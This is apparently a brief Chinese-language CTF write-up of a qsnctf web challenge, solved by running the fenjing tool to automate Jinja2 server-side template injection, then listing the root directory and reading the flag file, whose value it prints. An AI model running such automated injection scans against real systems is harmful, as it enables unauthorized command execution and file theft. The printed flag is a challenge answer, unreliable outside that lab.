WEB SSTI(qsnctf)

1.题目描述

2.解题思路

开启环境访问

看标题发现是SSTI模板注入使用今天刚学的fenjing工具自动化SSTI模板注入

工具下载教程网址：fenjing(焚靖)——jinja2 SSTI一把梭 - yixinBC's blog

使用pip下载

pip install fenjing

python -m fenjing scan --url 'http://xxx/'#目标网址

以下是我已经安装好了

pip install fenjing #安装fenjing工具

进行自动化SSTI注入

python3 -m fenjing scan --url http://81bb8ce6-6182-4515-a721-c458f791dfc6.challenge.qsnctf.com:8081/

ls /

查看根目录下有什么

发现f1ag，查看

cat /f1ag

flag为

qsnctf{bd686e12-ac15-4d05-9c1d-3c19f9c3a629}